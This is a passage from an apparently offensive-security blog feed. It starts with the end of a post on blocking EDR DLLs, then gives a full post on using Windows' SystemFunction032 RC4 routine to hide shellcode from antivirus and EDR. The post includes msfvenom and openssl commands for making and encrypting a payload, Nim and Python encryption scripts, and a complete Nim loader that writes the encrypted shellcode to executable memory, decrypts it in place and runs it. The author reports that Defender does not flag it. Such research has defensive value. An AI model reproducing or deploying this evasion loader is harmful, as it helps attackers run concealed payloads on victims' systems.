  <li>Inject/Execute shellcode ThreadlessInject style in the new process. The cool thing here is, our Shellcode is always automatically executed after resuming the process when any DLL is loaded but also for process initialization at least once. So we never need an <strong>execute</strong> primitive here or place a hook as ThreadlessInject does, but instead we could just decrypt embedded Shellcode and execute that.</li>
</ul>

<h2 id="credits">Credits</h2>

<p>Some people helped me out on my way. Have to give some Credits.</p>

<ul>
  <li>Ceri Coburn <a href="https://twitter.com/_EthicalChaos_">@<em>EthicalChaos</em></a> - Q/A all over the way</li>
  <li>Sven Rath <a href="https://twitter.com/eversinc33">@eversinc33</a> - Inspired me to actually start writing the PoC instead of just having this in mind only</li>
  <li>Alejandro Pinna <a href="https://twitter.com/frodosobon">@frodosobon</a> - The initial Blogpost my technique relies on</li>
  <li>Charles Hamilton <a href="https://twitter.com/MrUn1k0d3r">@MrUn1k0d3r</a> - Q/A for writing PIC-Code</li>
  <li>Chetan Nayak <a href="https://twitter.com/NinjaParanoid">@NinjaParanoid</a> - Q/A for writing PIC-Code</li>
</ul>

<h2 id="links--resources">Links &amp; Resources</h2>

<ul>
  <li>Hellsgate <a href="https://github.com/am0nsec/HellsGate">https://github.com/am0nsec/HellsGate</a></li>
  <li>RecycledGate <a href="https://github.com/thefLink/RecycledGate">https://github.com/thefLink/RecycledGate</a></li>
  <li>DInvoke <a href="https://github.com/TheWover/DInvoke">https://github.com/TheWover/DInvoke</a></li>
  <li>Syswhispers <a href="https://github.com/jthuraisamy/SysWhispers">https://github.com/jthuraisamy/SysWhispers</a></li>
  <li>Syswhispers2 <a href="https://github.com/jthuraisamy/SysWhispers2">https://github.com/jthuraisamy/SysWhispers2</a></li>
  <li>Syswhispers3 <a href="https://github.com/klezVirus/SysWhispers3">https://github.com/klezVirus/SysWhispers3</a></li>
  <li>TamperingSyscalls <a href="https://github.com/rad9800/TamperingSyscalls">https://github.com/rad9800/TamperingSyscalls</a></li>
  <li>SharpBlock Blog post <a href="https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/">https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/</a></li>
  <li>Chess White player idea <a href="https://bruteratel.com/release/2022/08/18/Release-Scandinavian-Defense/">https://bruteratel.com/release/2022/08/18/Release-Scandinavian-Defense/</a></li>
  <li>HandleKatz <a href="https://github.com/codewhitesec/HandleKatz">https://github.com/codewhitesec/HandleKatz</a></li>
</ul>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[Last year I had the idea for a new approach to block EDR DLLs from loading into a newly spawned process. After several months this idea lead to a PoC, which was then published after presenting the topic at x33fcon and Troopers this year. This post will cover the background and description of the technique.]]></summary></entry><entry><title type="html">Alternative use cases for SystemFunction032</title><link href="https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/" rel="alternate" type="text/html" title="Alternative use cases for SystemFunction032" /><published>2022-10-06T00:00:00+00:00</published><updated>2022-10-06T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/"><![CDATA[<p>Some days ago I woke up in the middle of the night - thinking about the <code class="language-plaintext highlighter-rouge">Advapi32.dll</code>/<code class="language-plaintext highlighter-rouge">SystemFunction032</code> function. Really? Yes. Strange, this InfoSec folks. This post will show my nightly idea and sample Code on how to weaponize it.</p>

<!--more-->

<h2 id="systemfunction032">SystemFunction032??</h2>

<p>I did not know about this function before digging into Sleep obfuscation techniques like <a href="https://github.com/SecIdiot/FOLIAGE">Foliage</a> or <a href="https://github.com/Cracked5pider/Ekko">Ekko</a>. Although Benjamin Delphi already wrote about it in <a href="https://blog.gentilkiwi.com/tag/systemfunction032">2013</a> and used it in Mimikatz.</p>

<p>So this function is able to encrypt/decrypt memory regions via RC4 encryption. As for example the <a href="https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725">ReactOS Code shows</a> it takes a pointer to an RC4_Context structure as input as well as a pointer to the encryption key:</p>

<p align="center">
          <img src="/assets/posts/SystemFunction032/SystemFunction032.PNG" />
</p>

<p>“Why the heck do you see something special in that?” you could ask. Well, at least I personally did not know about alternative functions for <code class="language-plaintext highlighter-rouge">existing memory region</code> encryption/decryption except for <code class="language-plaintext highlighter-rouge">XOR</code> operations. But as you can read in for example Kyle Avery’s blog about <a href="https://www.blackhillsinfosec.com/avoiding-memory-scanners/">Avoiding Memory Scanners</a> a simple <code class="language-plaintext highlighter-rouge">XOR</code> even with a longer key got in the meanwhile to detect for AV/EDR vendors.</p>

<p>Although RC4 is considered as insecure and even broken for years it provides a much better memory evasion for e.G. Shellcode to us than simple <code class="language-plaintext highlighter-rouge">XOR</code>. It would be even more OpSec save to use AES here instead. But one single Windows API is at least very easy to use.</p>

<h2 id="the-midnight-idea">The midnight idea</h2>

<p>Typically if you want to execute Shellcode in a process you will need the following steps:</p>

<ol>
  <li>Open a Handle to the Process</li>
  <li>Allocate Memory in that Process with <code class="language-plaintext highlighter-rouge">RW/RX</code> or <code class="language-plaintext highlighter-rouge">RWX</code> permissions</li>
  <li>Write the Shellcode into that region</li>
  <li>(Optional) change Permissions to <code class="language-plaintext highlighter-rouge">RX</code> from <code class="language-plaintext highlighter-rouge">RW</code> for execution</li>
  <li>Execute the Shellcode as Thread/APC/Callback/whatever</li>
</ol>

<p>To avoid signature based detections we could encrypt our Shellcode and decrypt that on runtime before execution. For e.g. AES decryption the flow would typically look like this:</p>

<ol>
  <li>Open a Handle to the Process</li>
  <li>Allocate Memory in that Process with <code class="language-plaintext highlighter-rouge">RW/RX</code> or <code class="language-plaintext highlighter-rouge">RWX</code> permissions</li>
  <li>Decrypt the Shellcode, so that we can write the cleartext value into memory</li>
  <li>Write the Shellcode into the allocated region</li>
  <li>(Optional) change Permissions to <code class="language-plaintext highlighter-rouge">RX</code> from <code class="language-plaintext highlighter-rouge">RW</code> for execution</li>
  <li>Execute the Shellcode as Thread/APC/Callback/whatever</li>
</ol>

<p>In this case, the Shellcode itself could get detected when writing it into memory e.g. by userland hooks as we would need to pass a pointer of the cleartext Shellcode to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> or <code class="language-plaintext highlighter-rouge">NtWriteVirtualMemory</code>.</p>

<p>The usage of <code class="language-plaintext highlighter-rouge">XOR</code> could avoid that, because we can even <code class="language-plaintext highlighter-rouge">XOR</code> decrypt the memory region <strong>after</strong> writing the encrypted value into memory. It would look like this:</p>

<ol>
  <li>Open a Handle to the Process</li>
  <li>Allocate Memory in that Process with <code class="language-plaintext highlighter-rouge">RW/RX</code> or <code class="language-plaintext highlighter-rouge">RWX</code> permissions</li>
  <li>Write the Shellcode into the allocated region</li>
  <li>XOR decrypt the Shellcode memory region</li>
  <li>(Optional) change Permissions to <code class="language-plaintext highlighter-rouge">RX</code> from <code class="language-plaintext highlighter-rouge">RW</code> for execution</li>
  <li>Execute the Shellcode as Thread/APC/Callback/whatever</li>
</ol>

<p>But <code class="language-plaintext highlighter-rouge">XOR</code> can easily be detected. So we don’t want to use that. You already got the idea?</p>

<p>As an alternative we could make use of <code class="language-plaintext highlighter-rouge">SystemFunction032</code> to decrypt the Shellcode after writing it into memory. So let’s do that!</p>

<h2 id="the-poc">The PoC</h2>

<p>First I had the idea of generating Shellcode and just RC4 encrypt it with OpenSSL. So my idea was to generate it as follows:</p>

<div class="language-batch highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">msfvenom</span> <span class="na">-p </span><span class="kd">windows</span><span class="na">/x</span><span class="m">64</span><span class="na">/exec </span><span class="kd">CMD</span><span class="o">=</span><span class="kd">calc</span><span class="err">.exe</span> <span class="na">-f </span><span class="kd">raw</span> <span class="na">-o </span><span class="kd">calc</span>.bin
<span class="kd">cat</span> <span class="kd">calc</span>.bin <span class="o">|</span> <span class="kd">openssl</span> <span class="kd">enc</span> <span class="na">-rc</span><span class="m">4</span> <span class="na">-nosalt -k </span><span class="s2">"aaaaaaaaaaaaaaaa"</span> <span class="o">&gt;</span> <span class="kd">enccalc</span>.bin
</code></pre></div></div>

<p>But later on - when debugging - it turned out, that <code class="language-plaintext highlighter-rouge">SystemFunction032</code> somehow encrypts/decrypts different to OpenSSL/RC4. So we cannot do it like that.</p>

<hr />
<p><strong>09.11.2022: Update</strong></p>

<p><a href="https://twitter.com/an0n_r0">an0n_r0</a> gave further <a href="https://twitter.com/an0n_r0/status/1589913098970091521">information</a> on how to do the encryption with OpenSSL. You can do it as follows:</p>
<div class="language-batch highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">openssl</span> <span class="kd">enc</span> <span class="na">-rc</span><span class="m">4</span> <span class="na">-in </span><span class="kd">calc</span>.bin <span class="na">-K </span><span class="sb">`echo -n 'aaaaaaaaaaaaaaaa' | xxd -p`</span> <span class="na">-nosalt </span><span class="o">&gt;</span> <span class="kd">enccalc</span>.bin
</code></pre></div></div>

<hr />

<p>We could also use the following Nim Code to get an encrypted Shellcode blob (Windows OS only):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">import</span> <span class="n">winim</span>
<span class="n">import</span> <span class="n">winim</span><span class="o">/</span><span class="n">lean</span>

<span class="c1"># msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin</span>
<span class="n">const</span> <span class="n">encstring</span> <span class="o">=</span> <span class="n">slurp</span><span class="s2">"calc.bin"</span>

<span class="n">func</span> <span class="n">toByteSeq</span><span class="o">*</span><span class="p">(</span><span class="ss">str: </span><span class="n">string</span><span class="p">):</span> <span class="n">seq</span><span class="p">[</span><span class="n">byte</span><span class="p">]</span> <span class="p">{.</span><span class="nf">inline</span><span class="o">.</span><span class="p">}</span> <span class="o">=</span>
  <span class="c1">## Converts a string to the corresponding byte sequence.</span>
  <span class="err">@</span><span class="p">(</span><span class="n">str</span><span class="p">.</span><span class="nf">toOpenArrayByte</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">str</span><span class="p">.</span><span class="nf">high</span><span class="p">))</span>

<span class="nb">proc</span> <span class="no">SystemFunction032</span><span class="o">*</span><span class="p">(</span><span class="ss">memoryRegion: </span><span class="n">pointer</span><span class="p">,</span> <span class="ss">keyPointer: </span><span class="n">pointer</span><span class="p">):</span> <span class="no">NTSTATUS</span> 
  <span class="p">{.</span><span class="nf">discardable</span><span class="p">,</span> <span class="n">stdcall</span><span class="p">,</span> <span class="ss">dynlib: </span><span class="s2">"Advapi32"</span><span class="p">,</span> <span class="ss">importc: </span><span class="s2">"SystemFunction032"</span><span class="o">.</span><span class="p">}</span>

  
<span class="c1"># This is the mentioned RC4 struct</span>
<span class="n">type</span>
    <span class="no">USTRING</span><span class="o">*</span> <span class="o">=</span> <span class="n">object</span>
        <span class="no">Length</span><span class="o">*</span><span class="p">:</span> <span class="no">DWORD</span>
        <span class="no">MaximumLength</span><span class="o">*</span><span class="p">:</span> <span class="no">DWORD</span>
        <span class="no">Buffer</span><span class="o">*</span><span class="p">:</span> <span class="no">PVOID</span>

<span class="n">var</span> <span class="ss">keyString: </span><span class="no">USTRING</span>
<span class="n">var</span> <span class="ss">imgString: </span><span class="no">USTRING</span>

<span class="c1"># Our encryption Key</span>
<span class="n">var</span> <span class="ss">keyBuf: </span><span class="n">array</span><span class="p">[</span><span class="mi">16</span><span class="p">,</span> <span class="n">char</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">char</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">]</span>

<span class="n">keyString</span><span class="o">.</span><span class="no">Buffer</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="no">PVOID</span><span class="p">](</span><span class="o">&amp;</span><span class="n">keyBuf</span><span class="p">)</span>
<span class="n">keyString</span><span class="o">.</span><span class="no">Length</span> <span class="o">=</span> <span class="mi">16</span>
<span class="n">keyString</span><span class="o">.</span><span class="no">MaximumLength</span> <span class="o">=</span> <span class="mi">16</span>

<span class="n">var</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="n">toByteSeq</span><span class="p">(</span><span class="n">encstring</span><span class="p">)</span>
<span class="n">var</span> <span class="n">size</span>  <span class="o">=</span> <span class="n">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>


<span class="c1"># We need to still get the Shellcode to memory to encrypt it with SystemFunction032</span>
<span class="n">let</span> <span class="n">tProcess</span> <span class="o">=</span> <span class="no">GetCurrentProcessId</span><span class="p">()</span>
<span class="n">echo</span> <span class="s2">"Current Process ID: "</span><span class="p">,</span> <span class="n">tProcess</span>
<span class="n">var</span> <span class="ss">pHandle: </span><span class="no">HANDLE</span> <span class="o">=</span> <span class="no">OpenProcess</span><span class="p">(</span><span class="no">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="no">FALSE</span><span class="p">,</span> <span class="n">tProcess</span><span class="p">)</span>
<span class="n">echo</span> <span class="s2">"Process Handle: "</span><span class="p">,</span> <span class="n">repr</span><span class="p">(</span><span class="n">pHandle</span><span class="p">)</span>
<span class="n">let</span> <span class="n">rPtr</span> <span class="o">=</span> <span class="no">VirtualAllocEx</span><span class="p">(</span>
    <span class="n">pHandle</span><span class="p">,</span>
    <span class="no">NULL</span><span class="p">,</span>
    <span class="n">cast</span><span class="p">[</span><span class="no">SIZE_T</span><span class="p">](</span><span class="n">size</span><span class="p">),</span>
    <span class="no">MEM_COMMIT</span><span class="p">,</span>
    <span class="no">PAGE_READ_WRITE</span>
<span class="p">)</span>

<span class="n">copyMem</span><span class="p">(</span><span class="n">rPtr</span><span class="p">,</span> <span class="n">addr</span> <span class="n">shellcode</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">size</span><span class="p">)</span>

<span class="c1"># Fill the RC4 struct</span>
<span class="n">imgString</span><span class="o">.</span><span class="no">Buffer</span> <span class="o">=</span> <span class="n">rPtr</span>
<span class="n">imgString</span><span class="o">.</span><span class="no">Length</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="no">DWORD</span><span class="p">](</span><span class="n">size</span><span class="p">)</span>
<span class="n">imgString</span><span class="o">.</span><span class="no">MaximumLength</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="no">DWORD</span><span class="p">](</span><span class="n">size</span><span class="p">)</span>

<span class="c1"># Call SystemFunction032</span>
<span class="no">SystemFunction032</span><span class="p">(</span><span class="o">&amp;</span><span class="n">imgString</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">keyString</span><span class="p">)</span>

<span class="n">copyMem</span><span class="p">(</span><span class="n">addr</span> <span class="n">shellcode</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">rPtr</span> <span class="p">,</span><span class="n">size</span><span class="p">)</span>

<span class="n">echo</span> <span class="s2">"Writing encrypted shellcode to dec.bin"</span>

<span class="n">writeFile</span><span class="p">(</span><span class="s2">"enc.bin"</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">)</span>
<span class="c1"># enc.bin contains our encrypted Shellcode</span>
</code></pre></div></div>

<hr />
<p><strong>09.11.2022: Update</strong></p>

<p><a href="https://twitter.com/snovvcrash">snovvcrash</a> also published a simple Python Script after this blog which simplifies the encryption with a <a href="https://gist.github.com/snovvcrash/3533d950be2d96cf52131e8393794d99">Python Script</a>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Iterator</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span>


<span class="c1"># Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
</span><span class="k">def</span> <span class="nf">key_scheduling</span><span class="p">(</span><span class="n">key</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">list</span><span class="p">:</span>
	<span class="n">sched</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">)]</span>

	<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
		<span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="n">sched</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">+</span> <span class="n">key</span><span class="p">[</span><span class="n">j</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])</span> <span class="o">%</span> <span class="mi">256</span>
		<span class="n">tmp</span> <span class="o">=</span> <span class="n">sched</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
		<span class="n">sched</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">sched</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
		<span class="n">sched</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>

	<span class="k">return</span> <span class="n">sched</span>


<span class="k">def</span> <span class="nf">stream_generation</span><span class="p">(</span><span class="n">sched</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="nb">int</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="n">Iterator</span><span class="p">[</span><span class="nb">bytes</span><span class="p">]:</span>
	<span class="n">i</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>
	<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
		<span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span>
		<span class="n">j</span> <span class="o">=</span> <span class="p">(</span><span class="n">sched</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">j</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span>
		<span class="n">tmp</span> <span class="o">=</span> <span class="n">sched</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
		<span class="n">sched</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">sched</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
		<span class="n">sched</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>
		<span class="k">yield</span> <span class="n">sched</span><span class="p">[(</span><span class="n">sched</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">sched</span><span class="p">[</span><span class="n">j</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">]</span>        


<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">key</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
	<span class="n">sched</span> <span class="o">=</span> <span class="n">key_scheduling</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
	<span class="n">key_stream</span> <span class="o">=</span> <span class="n">stream_generation</span><span class="p">(</span><span class="n">sched</span><span class="p">)</span>
	
	<span class="n">ciphertext</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
	<span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">plaintext</span><span class="p">:</span>
		<span class="n">enc</span> <span class="o">=</span> <span class="n">char</span> <span class="o">^</span> <span class="nb">next</span><span class="p">(</span><span class="n">key_stream</span><span class="p">)</span>
		<span class="n">ciphertext</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">enc</span><span class="p">])</span>
		
	<span class="k">return</span> <span class="n">ciphertext</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
	<span class="c1"># msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
</span>	<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'calc.bin'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
		<span class="n">result</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="o">=</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">(),</span> <span class="n">key</span><span class="o">=</span><span class="sa">b</span><span class="s">'aaaaaaaaaaaaaaaa'</span><span class="p">)</span>

	<span class="k">print</span><span class="p">(</span><span class="n">b64encode</span><span class="p">(</span><span class="n">result</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<hr />

<p>To execute this, we could simply use the following Nim code:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">import</span> <span class="n">winim</span>
<span class="n">import</span> <span class="n">winim</span><span class="o">/</span><span class="n">lean</span>

<span class="c1"># (OPTIONAL) do some Environmental Keying stuff</span>

<span class="c1"># Encrypted with the previous code</span>
<span class="c1"># Embed the encrypted Shellcode on compile time as string</span>
<span class="n">const</span> <span class="n">encstring</span> <span class="o">=</span> <span class="n">slurp</span><span class="s2">"enc.bin"</span>

<span class="n">func</span> <span class="n">toByteSeq</span><span class="o">*</span><span class="p">(</span><span class="ss">str: </span><span class="n">string</span><span class="p">):</span> <span class="n">seq</span><span class="p">[</span><span class="n">byte</span><span class="p">]</span> <span class="p">{.</span><span class="nf">inline</span><span class="o">.</span><span class="p">}</span> <span class="o">=</span>
  <span class="c1">## Converts a string to the corresponding byte sequence.</span>
  <span class="err">@</span><span class="p">(</span><span class="n">str</span><span class="p">.</span><span class="nf">toOpenArrayByte</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">str</span><span class="p">.</span><span class="nf">high</span><span class="p">))</span>

<span class="nb">proc</span> <span class="no">SystemFunction032</span><span class="o">*</span><span class="p">(</span><span class="ss">memoryRegion: </span><span class="n">pointer</span><span class="p">,</span> <span class="ss">keyPointer: </span><span class="n">pointer</span><span class="p">):</span> <span class="no">NTSTATUS</span> 
  <span class="p">{.</span><span class="nf">discardable</span><span class="p">,</span> <span class="n">stdcall</span><span class="p">,</span> <span class="ss">dynlib: </span><span class="s2">"Advapi32"</span><span class="p">,</span> <span class="ss">importc: </span><span class="s2">"SystemFunction032"</span><span class="o">.</span><span class="p">}</span>

<span class="n">type</span>
    <span class="no">USTRING</span><span class="o">*</span> <span class="o">=</span> <span class="n">object</span>
        <span class="no">Length</span><span class="o">*</span><span class="p">:</span> <span class="no">DWORD</span>
        <span class="no">MaximumLength</span><span class="o">*</span><span class="p">:</span> <span class="no">DWORD</span>
        <span class="no">Buffer</span><span class="o">*</span><span class="p">:</span> <span class="no">PVOID</span>

<span class="n">var</span> <span class="ss">keyString: </span><span class="no">USTRING</span>
<span class="n">var</span> <span class="ss">imgString: </span><span class="no">USTRING</span>

<span class="c1"># Same Key</span>
<span class="n">var</span> <span class="ss">keyBuf: </span><span class="n">array</span><span class="p">[</span><span class="mi">16</span><span class="p">,</span> <span class="n">char</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">char</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">]</span>

<span class="n">keyString</span><span class="o">.</span><span class="no">Buffer</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="no">PVOID</span><span class="p">](</span><span class="o">&amp;</span><span class="n">keyBuf</span><span class="p">)</span>
<span class="n">keyString</span><span class="o">.</span><span class="no">Length</span> <span class="o">=</span> <span class="mi">16</span>
<span class="n">keyString</span><span class="o">.</span><span class="no">MaximumLength</span> <span class="o">=</span> <span class="mi">16</span>

<span class="n">var</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="n">toByteSeq</span><span class="p">(</span><span class="n">encstring</span><span class="p">)</span>
<span class="n">var</span> <span class="n">size</span>  <span class="o">=</span> <span class="n">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>

<span class="n">let</span> <span class="n">tProcess</span> <span class="o">=</span> <span class="no">GetCurrentProcessId</span><span class="p">()</span>
<span class="n">echo</span> <span class="s2">"Current Process ID: "</span><span class="p">,</span> <span class="n">tProcess</span>
<span class="n">var</span> <span class="ss">pHandle: </span><span class="no">HANDLE</span> <span class="o">=</span> <span class="no">OpenProcess</span><span class="p">(</span><span class="no">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="no">FALSE</span><span class="p">,</span> <span class="n">tProcess</span><span class="p">)</span>

<span class="n">let</span> <span class="n">rPtr</span> <span class="o">=</span> <span class="no">VirtualAllocEx</span><span class="p">(</span>
    <span class="n">pHandle</span><span class="p">,</span>
    <span class="no">NULL</span><span class="p">,</span>
    <span class="n">cast</span><span class="p">[</span><span class="no">SIZE_T</span><span class="p">](</span><span class="n">size</span><span class="p">),</span>
    <span class="no">MEM_COMMIT</span><span class="p">,</span>
    <span class="no">PAGE_EXECUTE_READ_WRITE</span>
<span class="p">)</span>

<span class="n">copyMem</span><span class="p">(</span><span class="n">rPtr</span><span class="p">,</span> <span class="n">addr</span> <span class="n">shellcode</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">size</span><span class="p">)</span>

<span class="n">imgString</span><span class="o">.</span><span class="no">Buffer</span> <span class="o">=</span> <span class="n">rPtr</span>
<span class="n">imgString</span><span class="o">.</span><span class="no">Length</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="no">DWORD</span><span class="p">](</span><span class="n">size</span><span class="p">)</span>
<span class="n">imgString</span><span class="o">.</span><span class="no">MaximumLength</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="no">DWORD</span><span class="p">](</span><span class="n">size</span><span class="p">)</span>

<span class="c1"># Decrypt memory region with SystemFunction032</span>
<span class="no">SystemFunction032</span><span class="p">(</span><span class="o">&amp;</span><span class="n">imgString</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">keyString</span><span class="p">)</span>

<span class="c1"># (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans</span>

<span class="c1"># Directly call the Shellcode instead of using a Thread/APC/Callback/whatever</span>

<span class="n">let</span> <span class="n">f</span> <span class="o">=</span> <span class="n">cast</span><span class="p">[</span><span class="nb">proc</span><span class="p">(){.</span><span class="nf">nimcall</span><span class="o">.</span><span class="p">}](</span><span class="n">rPtr</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>

</code></pre></div></div>

<p>At least Defender does not complain here:</p>

<p align="center">
          <img src="/assets/posts/SystemFunction032/PoC.PNG" />
</p>

<p>By using that we can nearly ignore userland hooks because our cleartext Shellcode is never passed to any function (Only <code class="language-plaintext highlighter-rouge">SystemFunction032</code> itself). Of course, all those vendors could detect us by hooking <code class="language-plaintext highlighter-rouge">Advapi32/SystemFunction032</code> - I did ask this question into the InfoSec community regarding to Sleep obfuscation detection <a href="https://twitter.com/ShitSecure/status/1580109373145481216">some time ago</a>.</p>

<p>But:</p>

<ol>
  <li>There seam to be some privacy reasons why vendors can’t easily hook it, because they would get too many sensitive informations out of legitimate Processes.</li>
  <li>There are many alternatives to <code class="language-plaintext highlighter-rouge">SystemFunction032</code>, just read the Benjamin Delphi article linked above or take a look at the ReactOS code.</li>
  <li>We could also unhook the function before using it.</li>
</ol>

<p>At the moment at least vendors seam to not hook it. I personally guess this will change in the future.</p>

<h2 id="homework-for-the-interested">Homework for the interested</h2>

<p>Another idea was even better from my mind. By using PIC-Code we could also skip all other Win32 functions which were used in my PoC. Because when writing PIC-Code, all code is contained in the <code class="language-plaintext highlighter-rouge">.text</code> section, and this section typically has <code class="language-plaintext highlighter-rouge">RX</code> permissions by default, which is enough many times. So we would not need to change memory permissions and we don’t need to write the Shellcode to memory.</p>

<p>It would just be as short as follows:</p>

<ol>
  <li>Call <code class="language-plaintext highlighter-rouge">SystemFunction032</code> to decrypt the Shellcode</li>
  <li>Directly call it</li>
</ol>

